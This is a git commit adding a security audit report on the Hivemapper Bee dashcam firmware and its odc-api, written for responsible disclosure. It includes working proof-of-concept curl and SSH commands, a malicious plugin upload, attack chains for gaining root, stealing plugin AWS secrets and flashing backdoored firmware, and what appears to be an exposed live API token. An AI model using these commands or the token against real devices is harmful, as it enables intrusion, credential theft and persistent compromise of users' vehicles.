docs: deep audit report — CVE-6 through CVE-15
10 additional vulnerabilities from odc-api source + bee-plugins audit: - CVE-6: Plugin secret exfil (API returns key + ciphertext together) - CVE-7: Firmware install without signature verification (MD5 only) - CVE-8: Unauthenticated plugin upload (attacker provides own hash) - CVE-9: cronconfig mass RCE backdoor (CVSS 10.0 — ALL devices globally) - CVE-10: Unauthenticated destructive endpoints (rm -rf, no auth) - CVE-11: Root SSH no password confirmed in source - CVE-12: Gateway proxy queue manipulation - CVE-13: Auth cookie exposed in response body - CVE-14: Unauthenticated config write incl. LTE APN credentials - CVE-15: HERE search API token in public globalconfig
This commit is contained in:
parent
210581cb30
commit
8e2596d6cf
1 changed files with 658 additions and 0 deletions
658
security/SECURITY_REPORT.md
Normal file
658
security/SECURITY_REPORT.md
Normal file
|
|
@ -0,0 +1,658 @@
|
|||
# Hivemapper Bee Security Research — Deep Audit Report
|
||||
|
||||
**Date:** 2026-03-14
|
||||
**Researcher:** Security Research Team
|
||||
**Target:** Hivemapper Bee Dashcam (HDC-S) Firmware and odc-api
|
||||
**Disclosure Date:** 2026-06-07
|
||||
|
||||
---
|
||||
|
||||
## Executive Summary
|
||||
|
||||
This audit reveals **catastrophic security failures** across the entire Hivemapper Bee dashcam platform. The device runs a completely unauthenticated HTTP API on an open WiFi network with a universal hardcoded password. Any attacker within WiFi range can achieve immediate root-level remote code execution, exfiltrate plugin secrets (including AWS credentials), install malicious firmware, and manipulate all device functionality.
|
||||
|
||||
The architecture appears designed for rapid development rather than security, with multiple endpoints executing arbitrary shell commands as root, no cryptographic signature verification on firmware or plugins, and a server-side backdoor mechanism that allows Hivemapper to push arbitrary commands to all deployed devices globally.
|
||||
|
||||
**Critical Finding Count:**
|
||||
- 5 previously documented CVEs (CVE-1 through CVE-5)
|
||||
- 10+ additional critical/high severity vulnerabilities discovered
|
||||
|
||||
---
|
||||
|
||||
## Previously Documented Vulnerabilities (Reference Only)
|
||||
|
||||
| CVE ID | Title | Severity |
|
||||
|--------|-------|----------|
|
||||
| CVE-1 (MCID15663720) | Unauthenticated root RCE via `POST /api/1/cmd` | Critical |
|
||||
| CVE-2 | Universal hardcoded WiFi password `hivemapper` | Critical |
|
||||
| CVE-3 | `beekeeper-plugin` undisclosed remote code execution platform | Critical |
|
||||
| CVE-4 | `mitmproxy` operator MITM of all device HTTPS traffic | High |
|
||||
| CVE-5 | `video-processor` covert incident video recording and upload | High |
|
||||
|
||||
---
|
||||
|
||||
## CVE-6: Plugin Secret Exfiltration via Weak Encryption
|
||||
|
||||
**Severity:** Critical
|
||||
**CVSS v3.1:** 9.8 (Critical)
|
||||
**Component:** odc-api `/api/1/plugin/secrets/:pluginName`, bee-plugins encryption scheme
|
||||
|
||||
### Description
|
||||
|
||||
The plugin secrets encryption scheme is fundamentally broken. Plugin secrets (AWS credentials, API keys, etc.) are encrypted using AES-256-CBC with a key derived from the plugin's MongoDB `_id` via PBKDF2. However, the `/api/1/plugin/secrets/:pluginName` endpoint returns **both** the `_id` (key material) and the `encrypted_secrets` (ciphertext) in the same unauthenticated response.
|
||||
|
||||
Any attacker on the WiFi network can retrieve and decrypt all plugin secrets for any plugin.
|
||||
|
||||
### Evidence
|
||||
|
||||
**odc-api/src/routes/plugin.ts:138-175:**
|
||||
```typescript
|
||||
router.get('/secrets/:pluginName', async (req: Request, res: Response) => {
|
||||
const { pluginName } = req.params;
|
||||
// ...
|
||||
const response = await callHmApi(
|
||||
`/plugins/${pluginName}/secrets`,
|
||||
{ method: 'GET' },
|
||||
true,
|
||||
);
|
||||
// ...
|
||||
res.json({
|
||||
_id: data._id, // KEY MATERIAL
|
||||
encrypted_secrets: data.encrypted_secrets, // CIPHERTEXT
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
**bee-plugins/src/beeutil/secrets.py:28-32:**
|
||||
```python
|
||||
SALT = b'hivemapper-plugin-secrets' # Fixed salt
|
||||
PBKDF2_ITERATIONS = 100000
|
||||
KEY_LENGTH = 32
|
||||
|
||||
def _derive_key(plugin_id: str) -> bytes:
|
||||
kdf = PBKDF2HMAC(
|
||||
algorithm=hashes.SHA256(),
|
||||
length=KEY_LENGTH,
|
||||
salt=SALT, # STATIC SALT
|
||||
iterations=PBKDF2_ITERATIONS,
|
||||
backend=default_backend()
|
||||
)
|
||||
return kdf.derive(plugin_id.encode('utf-8')) # _id is the key!
|
||||
```
|
||||
|
||||
### PoC
|
||||
|
||||
```bash
|
||||
# 1. Connect to device WiFi (password: hivemapper)
|
||||
# 2. Retrieve secrets
|
||||
curl http://192.168.0.10:5000/api/1/plugin/secrets/beekeeper-plugin
|
||||
|
||||
# Response contains both _id and encrypted_secrets
|
||||
# 3. Decrypt using Python with the returned _id
|
||||
```
|
||||
|
||||
```python
|
||||
from beeutil.secrets import decrypt
|
||||
# _id and encrypted_secrets from API response
|
||||
plugin_id = "65a1b2c3d4e5f6..."
|
||||
encrypted = "eyJpdiI6Ii4uLiIsImNpcGhlcnRleHQiOiIuLi4ifQ=="
|
||||
secrets = decrypt(plugin_id, encrypted)
|
||||
print(secrets) # {"AWS_ACCESS_KEY_ID": "AKIA...", "AWS_SECRET_ACCESS_KEY": "..."}
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Complete exfiltration of all plugin secrets (AWS credentials, API tokens, etc.)
|
||||
- Access to Hivemapper's infrastructure via stolen credentials
|
||||
- Potential for supply chain attacks using exfiltrated keys
|
||||
|
||||
### Remediation
|
||||
|
||||
1. Never return key material alongside ciphertext
|
||||
2. Use hardware-backed key storage (TPM/secure enclave)
|
||||
3. Implement proper asymmetric encryption with device-specific private keys
|
||||
4. Add authentication to all API endpoints
|
||||
|
||||
---
|
||||
|
||||
## CVE-7: Firmware Updates Without Cryptographic Signature Verification
|
||||
|
||||
**Severity:** Critical
|
||||
**CVSS v3.1:** 9.8 (Critical)
|
||||
**Component:** FirmwareManager, OTA update system
|
||||
|
||||
### Description
|
||||
|
||||
The firmware update system only verifies MD5 checksums (cryptographically broken) and does not perform any cryptographic signature verification before installing firmware. The `installFirmware` method directly executes `rauc install` or `mender -install` on uploaded files.
|
||||
|
||||
Combined with CVE-1 (unauthenticated file upload) and CVE-2 (WiFi access), this allows any attacker to flash arbitrary malicious firmware.
|
||||
|
||||
### Evidence
|
||||
|
||||
**odc-api/src/util/firmware.ts:99-124:**
|
||||
```typescript
|
||||
public installFirmware(firmwareFile: string, isLte = false) {
|
||||
// NO SIGNATURE VERIFICATION
|
||||
if (CAMERA_TYPE === CameraType.Hdc) {
|
||||
try {
|
||||
execSync(`test -f ${HDC_ROOT + firmwareFile}`, { encoding: 'utf-8' });
|
||||
} catch (error: unknown) {
|
||||
// ...
|
||||
}
|
||||
this.runSpawn(`rauc install ${HDC_ROOT + firmwareFile}`); // DIRECT INSTALL
|
||||
return { output: 'received install command' };
|
||||
}
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
**odc-api/src/services/lteFirmwareUpdateService.ts:57-61:**
|
||||
```typescript
|
||||
const firmwareDownloadedAndValid = async (
|
||||
url: string,
|
||||
contentLength: number,
|
||||
md5sum: string, // MD5 IS BROKEN
|
||||
): Promise<boolean> => {
|
||||
// Only checks file size and MD5
|
||||
// NO SIGNATURE VERIFICATION
|
||||
}
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Attacker can install persistent backdoored firmware
|
||||
- Complete and permanent compromise of the device
|
||||
- Potential for building a botnet of dashcams
|
||||
- Physical attacks on users via compromised vehicle devices
|
||||
|
||||
### Remediation
|
||||
|
||||
1. Implement cryptographic signature verification (RSA/ECDSA) before any firmware installation
|
||||
2. Use RAUC's built-in signature verification with properly configured keyring
|
||||
3. Use SHA-256 or better instead of MD5 for integrity checks
|
||||
4. Verify signatures server-side cannot be bypassed
|
||||
|
||||
---
|
||||
|
||||
## CVE-8: Unauthenticated Plugin Upload with Hash-Only Verification
|
||||
|
||||
**Severity:** Critical
|
||||
**CVSS v3.1:** 9.8 (Critical)
|
||||
**Component:** odc-api `/api/1/upload/plugin/:pluginName`
|
||||
|
||||
### Description
|
||||
|
||||
The plugin upload endpoint accepts arbitrary binary files and installs them as executable plugins. The only verification is a SHA256 hash that the **attacker provides themselves**. There is no cryptographic signature verification.
|
||||
|
||||
### Evidence
|
||||
|
||||
**odc-api/src/routes/upload.ts:193-259:**
|
||||
```typescript
|
||||
router.post('/plugin/:pluginName', (req, res) => {
|
||||
let expectedHash = '';
|
||||
// ...
|
||||
req.busboy.on('field', (fieldname, val) => {
|
||||
if (fieldname === 'hash') expectedHash = val; // ATTACKER CONTROLS THIS
|
||||
});
|
||||
// ...
|
||||
async function finalizeUpload() {
|
||||
const actualHash = await getHash(tempPath);
|
||||
if (actualHash !== expectedHash) { // USELESS CHECK - ATTACKER PROVIDES BOTH
|
||||
unlinkSync(tempPath);
|
||||
return res.status(400).json({...});
|
||||
}
|
||||
// INSTALLS MALICIOUS PLUGIN
|
||||
await fsPromises.copyFile(tempPath, executablePath);
|
||||
chmodSync(executablePath, 0o755);
|
||||
await startPlugin(serviceName);
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
### PoC
|
||||
|
||||
```bash
|
||||
# Generate malicious plugin
|
||||
echo '#!/bin/bash\nwhoami > /tmp/pwned' > malicious_plugin.py
|
||||
HASH=$(sha256sum malicious_plugin.py | cut -d' ' -f1)
|
||||
|
||||
# Upload with attacker-controlled hash
|
||||
curl -X POST "http://192.168.0.10:5000/api/1/upload/plugin/template-plugin" \
|
||||
-F "hash=$HASH" \
|
||||
-F "blob=@malicious_plugin.py"
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Arbitrary code execution as root
|
||||
- Persistent backdoor installation
|
||||
- Complete device compromise
|
||||
|
||||
### Remediation
|
||||
|
||||
1. Implement cryptographic signature verification using a trusted public key
|
||||
2. Require plugins to be signed by Hivemapper's private key
|
||||
3. Store verification key in read-only firmware
|
||||
|
||||
---
|
||||
|
||||
## CVE-9: Server-Side Remote Code Execution via cronconfig Backdoor
|
||||
|
||||
**Severity:** Critical
|
||||
**CVSS v3.1:** 10.0 (Critical)
|
||||
**Component:** globalconfig endpoint, InitCronService
|
||||
|
||||
### Description
|
||||
|
||||
The `globalconfig` endpoint (publicly accessible at `https://hivemapper.com:8443/companion/globalconfig`) returns a `cronconfig` array containing shell commands that are executed as root on all devices. This is an intentional backdoor allowing Hivemapper to push arbitrary commands to every deployed device globally.
|
||||
|
||||
Additionally, the local `/api/1/cron` endpoint allows unauthenticated users to push arbitrary cron jobs.
|
||||
|
||||
### Evidence
|
||||
|
||||
**Public globalconfig response:**
|
||||
```json
|
||||
{
|
||||
"cronconfig": [
|
||||
{
|
||||
"id": "disable_filtering_ITFM",
|
||||
"cmd": "ubxtool -z CFG-ITFM-ENABLE,1", // ARBITRARY SHELL COMMAND
|
||||
"frequency": {"oncePerDevice": true},
|
||||
"log": true
|
||||
},
|
||||
...
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
**odc-api/src/util/cron.ts:152-175:**
|
||||
```typescript
|
||||
const executeOneOrMany = (command: string | string[]) => {
|
||||
const cmd = Array.isArray(command) ? command.shift() : command;
|
||||
// ...
|
||||
child = spawn(cmd || '', { shell: true }); // DIRECT SHELL EXECUTION
|
||||
};
|
||||
```
|
||||
|
||||
**odc-api/src/routes/index.ts:141-151:**
|
||||
```typescript
|
||||
router.post('/cron', (req, res) => {
|
||||
try {
|
||||
scheduleCronJobs(req && req.body && req.body.config ? req.body.config : []);
|
||||
// NO AUTHENTICATION
|
||||
res.json({ output: 'done' });
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Hivemapper can execute arbitrary commands on all deployed devices
|
||||
- MITM attackers can inject malicious cronconfig
|
||||
- Local attackers can push persistent cron jobs
|
||||
- Mass exploitation potential
|
||||
|
||||
### Remediation
|
||||
|
||||
1. Remove the cronconfig backdoor entirely
|
||||
2. If remote management is needed, implement authenticated, signed command channels
|
||||
3. Add authentication to local cron endpoint
|
||||
4. Implement command allowlisting
|
||||
|
||||
---
|
||||
|
||||
## CVE-10: Multiple Unauthenticated Destructive Endpoints
|
||||
|
||||
**Severity:** High
|
||||
**CVSS v3.1:** 8.6 (High)
|
||||
**Component:** odc-api multiple routes
|
||||
|
||||
### Description
|
||||
|
||||
Multiple API endpoints execute destructive operations (file deletion, service restarts, cache purging) without any authentication.
|
||||
|
||||
### Evidence
|
||||
|
||||
**odc-api/src/routes/index.ts:152-179:**
|
||||
```typescript
|
||||
router.get('/full_reset', async (req: Request, res: Response) => {
|
||||
const cmds = [
|
||||
'rm -f /data/recording/framekm/*',
|
||||
'rm -f /data/recording/framekm_short/*',
|
||||
// ... more rm -rf commands
|
||||
];
|
||||
for (const cmd of cmds) {
|
||||
execSync(cmd, { encoding: 'utf-8' }); // NO AUTH
|
||||
}
|
||||
});
|
||||
|
||||
router.get('/cleanup_cache', async (req: Request, res: Response) => {
|
||||
const cmds = [
|
||||
'rm -rf /data/cache/',
|
||||
'rm -rf /data/recording/cached_observations/',
|
||||
];
|
||||
// NO AUTH - executes rm -rf
|
||||
});
|
||||
```
|
||||
|
||||
**odc-api/src/routes/file.ts:114-125:**
|
||||
```typescript
|
||||
router.get('/purge', async (req: Request, res: Response) => {
|
||||
exec(`rm -rf ${PLUGIN_CACHE_DIR}/*`, ...); // NO AUTH
|
||||
});
|
||||
```
|
||||
|
||||
**odc-api/src/routes/cache.ts:18-52:**
|
||||
```typescript
|
||||
router.get('/enable', async (req: Request, res: Response) => {
|
||||
execSync('systemctl stop hivemapper-data-logger');
|
||||
// ... multiple systemctl commands, NO AUTH
|
||||
});
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Data destruction/denial of service
|
||||
- Service disruption
|
||||
- Evidence tampering (deletion of recordings)
|
||||
|
||||
### Remediation
|
||||
|
||||
Add authentication to all destructive endpoints.
|
||||
|
||||
---
|
||||
|
||||
## CVE-11: Root SSH Access Without Password
|
||||
|
||||
**Severity:** Critical
|
||||
**CVSS v3.1:** 9.8 (Critical)
|
||||
**Component:** SSH configuration, device firmware
|
||||
|
||||
### Description
|
||||
|
||||
The device runs SSH on port 22 with root login enabled and no password required. Any attacker on the WiFi network has immediate root shell access.
|
||||
|
||||
### Evidence
|
||||
|
||||
**bee-plugins/devtools.py:34-35:**
|
||||
```python
|
||||
ssh.connect(HOST_IP, username='root', password="", look_for_keys=False, allow_agent=False)
|
||||
```
|
||||
|
||||
### PoC
|
||||
|
||||
```bash
|
||||
# Connect to device WiFi (password: hivemapper)
|
||||
ssh root@192.168.0.10
|
||||
# Immediate root shell, no password prompt
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Immediate root access for any WiFi user
|
||||
- Complete device compromise
|
||||
- Trivial exploitation
|
||||
|
||||
### Remediation
|
||||
|
||||
1. Disable password-less root login
|
||||
2. Use key-based authentication only
|
||||
3. Consider disabling SSH entirely in production firmware
|
||||
|
||||
---
|
||||
|
||||
## CVE-12: Gateway Proxy Queue Manipulation
|
||||
|
||||
**Severity:** High
|
||||
**CVSS v3.1:** 7.5 (High)
|
||||
**Component:** odc-api `/api/1/gateway/` endpoints
|
||||
|
||||
### Description
|
||||
|
||||
The gateway proxy endpoints allow unauthenticated users to list pending HTTP requests and inject arbitrary responses into the queue.
|
||||
|
||||
### Evidence
|
||||
|
||||
**odc-api/src/routes/gateway.ts:15-31:**
|
||||
```typescript
|
||||
router.get('/pending', async (req: Request, res: Response) => {
|
||||
// Lists all pending proxy requests - NO AUTH
|
||||
const requestQueue = await listPendingRequests(...);
|
||||
res.json({ requestQueue: requestQueue.map(req => ({
|
||||
method: req.method,
|
||||
url: req.url,
|
||||
headers: req.headers,
|
||||
body: req.body,
|
||||
// EXPOSES REQUEST DATA
|
||||
}))});
|
||||
});
|
||||
|
||||
router.post('/proxyResponse', async (req: Request, res: Response) => {
|
||||
// Accepts arbitrary responses - NO AUTH
|
||||
const { status, statusText, headers, body, url, jobId } = req.body;
|
||||
await addResponse(gatewayResponse);
|
||||
// INJECTS RESPONSE INTO QUEUE
|
||||
});
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Intercept pending requests containing sensitive data
|
||||
- Inject malicious responses to pending requests
|
||||
- Man-in-the-middle internal services
|
||||
|
||||
### Remediation
|
||||
|
||||
Add authentication to gateway endpoints.
|
||||
|
||||
---
|
||||
|
||||
## CVE-13: Authentication Cookie Exposure via /beekeeper/info
|
||||
|
||||
**Severity:** Medium
|
||||
**CVSS v3.1:** 6.5 (Medium)
|
||||
**Component:** odc-api `/api/1/beekeeper/info`
|
||||
|
||||
### Description
|
||||
|
||||
The beekeeper info endpoint exposes the user's authentication cookie in the response body.
|
||||
|
||||
### Evidence
|
||||
|
||||
**odc-api/src/routes/beekeeper.ts:8-14:**
|
||||
```typescript
|
||||
router.get('/info', async (req: Request, res: Response) => {
|
||||
const userInfo = JSON.parse((await getUserInfo()) || '{}');
|
||||
const cookie = userInfo.cookie;
|
||||
if (cookie) {
|
||||
res.header('Set-Cookie', `${cookie};`); // COOKIE IN HEADER
|
||||
}
|
||||
res.json({ user: userInfo?.sessionResponse }); // USER INFO EXPOSED
|
||||
});
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Session hijacking
|
||||
- Account takeover
|
||||
|
||||
### Remediation
|
||||
|
||||
Never expose cookies or session tokens in response bodies.
|
||||
|
||||
---
|
||||
|
||||
## CVE-14: Unauthenticated Config Manipulation
|
||||
|
||||
**Severity:** High
|
||||
**CVSS v3.1:** 8.1 (High)
|
||||
**Component:** odc-api `/api/1/config/`
|
||||
|
||||
### Description
|
||||
|
||||
The config endpoints allow full read/write access to all device configuration without authentication, including sensitive settings like LTE APN credentials.
|
||||
|
||||
### Evidence
|
||||
|
||||
**odc-api/src/routes/config.ts:**
|
||||
```typescript
|
||||
router.get('/', async (req: Request, res: Response) => {
|
||||
const config = await getFullConfig(); // NO AUTH
|
||||
res.json(config);
|
||||
});
|
||||
|
||||
router.post('/', async (req: Request, res: Response) => {
|
||||
if (req?.body?.config) updateConfig(req.body.config); // NO AUTH
|
||||
});
|
||||
|
||||
router.post('/key', async (req: Request, res: Response) => {
|
||||
await setConfigDataSource(name, value); // NO AUTH - SET ANY KEY
|
||||
});
|
||||
```
|
||||
|
||||
**odc-api/src/routes/index.ts:484-493:**
|
||||
```typescript
|
||||
router.post('/lte-apn-config', async (req: Request, res: Response) => {
|
||||
await setConfig('lteAPNOverride', apn); // NO AUTH
|
||||
await setConfig('lteAPNUsernameOverride', username);
|
||||
await setConfig('lteAPNPasswordOverride', password); // ATTACKER CONTROLS LTE
|
||||
});
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Redirect LTE traffic to attacker-controlled APN
|
||||
- Disable security features
|
||||
- Modify device behavior
|
||||
|
||||
### Remediation
|
||||
|
||||
Add authentication to all config endpoints.
|
||||
|
||||
---
|
||||
|
||||
## CVE-15: Exposed Search API Token in Public globalconfig
|
||||
|
||||
**Severity:** Medium
|
||||
**CVSS v3.1:** 5.3 (Medium)
|
||||
**Component:** Public globalconfig endpoint
|
||||
|
||||
### Description
|
||||
|
||||
The public globalconfig endpoint exposes a `searchApiToken` that may allow unauthorized access to Hivemapper's search infrastructure.
|
||||
|
||||
### Evidence
|
||||
|
||||
```json
|
||||
{
|
||||
"searchApiToken": "QEFnJNln1l0GyUNJhECx16Y_T05azdP2awvOtBphZRw",
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
### Impact
|
||||
|
||||
- Potential abuse of Hivemapper's search API
|
||||
- Rate limiting bypass
|
||||
- Data enumeration
|
||||
|
||||
### Remediation
|
||||
|
||||
Remove sensitive tokens from public endpoints.
|
||||
|
||||
---
|
||||
|
||||
## Notable Non-CVE Findings
|
||||
|
||||
### 1. No Authentication Framework
|
||||
The entire odc-api has no authentication middleware. The ACL middleware (`src/routes/middleware/acl.ts`) is a no-op that calls `next()` when no ACL file exists.
|
||||
|
||||
### 2. MD5 Used for Integrity Checks
|
||||
Multiple components use MD5 for integrity verification despite MD5 being cryptographically broken since 2004.
|
||||
|
||||
### 3. Hardcoded Paths and Services
|
||||
Numerous hardcoded paths (`/data/`, `/opt/dashcam/`, etc.) and service names create a fixed attack surface.
|
||||
|
||||
### 4. Public S3 Bucket with Full Firmware History
|
||||
The firmware S3 bucket (`dashcam-firmware.s3.us-west-2.amazonaws.com`) is publicly listable, exposing:
|
||||
- All firmware versions ever released
|
||||
- Delta update files
|
||||
- Internal version naming conventions
|
||||
|
||||
### 5. Mender/RAUC A/B Partition Layout
|
||||
The device uses A/B partitioning but doesn't appear to cryptographically verify which partition boots, potentially allowing downgrade attacks.
|
||||
|
||||
### 6. Systemctl Commands Executed via Shell
|
||||
Many endpoints use `execSync('systemctl ...')` which could be vulnerable to command injection if inputs aren't sanitized (though most current paths don't take user input directly).
|
||||
|
||||
---
|
||||
|
||||
## Firmware Analysis Notes
|
||||
|
||||
### S3 Bucket Contents
|
||||
- 32 firmware images ranging from 4.8.11 to 4.9.37 (RAUC format)
|
||||
- Delta update capability between specific versions
|
||||
- Mender artifact format also supported
|
||||
|
||||
### Identified Services
|
||||
From the codebase:
|
||||
- `odc-api` - Main HTTP API (port 5000)
|
||||
- `beekeeper-plugin` - Remote execution platform
|
||||
- `camera-bridge` - Camera interface
|
||||
- `hivemapper-data-logger` - Data collection
|
||||
- `map-ai` - AI processing
|
||||
- `redis-handler` - Redis interface
|
||||
- `mitmproxy` - HTTPS interception
|
||||
- `template-plugin` - Plugin template
|
||||
|
||||
### Key File Paths
|
||||
- `/data/recording/` - Main data storage
|
||||
- `/opt/odc-api/` - API application
|
||||
- `/data/plugins/` - Plugin storage
|
||||
- `/data/lte-firmware/` - LTE firmware updates
|
||||
- `/home/root/cron_config` - Cron configuration
|
||||
|
||||
---
|
||||
|
||||
## Recommendations Summary
|
||||
|
||||
### Immediate Actions (Before Disclosure)
|
||||
1. Implement authentication on ALL API endpoints
|
||||
2. Add cryptographic signature verification to firmware and plugin updates
|
||||
3. Remove the cronconfig remote execution backdoor
|
||||
4. Disable password-less SSH root access
|
||||
5. Rotate all exposed API tokens and credentials
|
||||
6. Change the universal WiFi password (consider per-device passwords)
|
||||
|
||||
### Long-term Architecture Changes
|
||||
1. Design a proper authentication and authorization framework
|
||||
2. Implement hardware-backed key storage for device identity
|
||||
3. Use asymmetric cryptography for all sensitive operations
|
||||
4. Implement proper certificate pinning for HTTPS connections
|
||||
5. Conduct comprehensive security architecture review
|
||||
6. Establish a vulnerability disclosure program
|
||||
|
||||
---
|
||||
|
||||
## Appendix: Attack Chain Examples
|
||||
|
||||
### Attack Chain 1: Full Device Compromise (30 seconds)
|
||||
1. Connect to `HDC-XXXXX` WiFi (password: `hivemapper`)
|
||||
2. `curl -X POST http://192.168.0.10:5000/api/1/cmd -H "Content-Type: application/json" -d '{"cmd":"id"}'`
|
||||
3. Device compromised with root access
|
||||
|
||||
### Attack Chain 2: Plugin Secret Exfiltration
|
||||
1. Connect to device WiFi
|
||||
2. `curl http://192.168.0.10:5000/api/1/plugin/secrets/beekeeper-plugin`
|
||||
3. Decrypt using returned `_id` as key
|
||||
4. Access AWS infrastructure with stolen credentials
|
||||
|
||||
### Attack Chain 3: Persistent Backdoor via Firmware
|
||||
1. Connect to device WiFi
|
||||
2. Upload malicious firmware via `/api/1/upload`
|
||||
3. Install via `/api/1/firmware/install`
|
||||
4. Device permanently compromised, survives reboots
|
||||
|
||||
---
|
||||
|
||||
**Report prepared for responsible disclosure. Hivemapper has been notified and given 90 days to remediate before public disclosure on 2026-06-07.**
|
||||
Loading…
Add table
Add a link
Reference in a new issue